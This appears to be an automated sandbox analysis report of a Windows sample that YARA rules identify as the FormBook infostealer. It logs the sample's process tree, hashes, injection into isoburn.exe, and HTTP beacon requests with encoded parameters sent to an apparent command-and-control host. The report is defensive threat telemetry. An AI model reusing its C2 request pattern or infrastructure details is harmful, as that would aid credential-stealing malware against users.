Dec 8, 2023 14:53:53.798593044 CET	363	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 08 Dec 2023 13:53:53 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.npstore.asia/ahec/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49796	52.220.48.161	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:57.335622072 CET	469	OUT	GET /ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL0rM/85NSIBYnKSu3X+covYz9Y5Yt4Y8akrMm9Q==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.npstore.asia Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:53:57.689404964 CET	488	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 08 Dec 2023 13:53:57 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL0rM/85NSIBYnKSu3X+covYz9Y5Yt4Y8akrMm9Q==&l4xX=rDStpH0He Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Target ID:	0
Start time:	14:49:54
Start date:	08/12/2023
Path:	C:\Users\user\Desktop\WrrCV4QR2J.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WrrCV4QR2J.exe
Imagebase:	0xa60000
File size:	786'432 bytes
MD5 hash:	26C7731786626894CE4FCC339951A26B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	14:49:56
Start date:	08/12/2023
Path:	C:\Users\user\Desktop\WrrCV4QR2J.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WrrCV4QR2J.exe
Imagebase:	0x9d0000
File size:	786'432 bytes
MD5 hash:	26C7731786626894CE4FCC339951A26B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	14:49:59
Start date:	08/12/2023
Path:	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe"
Imagebase:	0xa0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	4
Start time:	14:50:01
Start date:	08/12/2023
Path:	C:\Windows\SysWOW64\isoburn.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\isoburn.exe
Imagebase:	0x1e0000
File size:	107'008 bytes
MD5 hash:	BF19DD525C7D23CAFC086E9CCB9C06C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Target ID:	6
Start time:	14:50:12
Start date:	08/12/2023
Path:	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe"
Imagebase:	0xa0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	9
Start time:	14:50:24
Start date:	08/12/2023
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true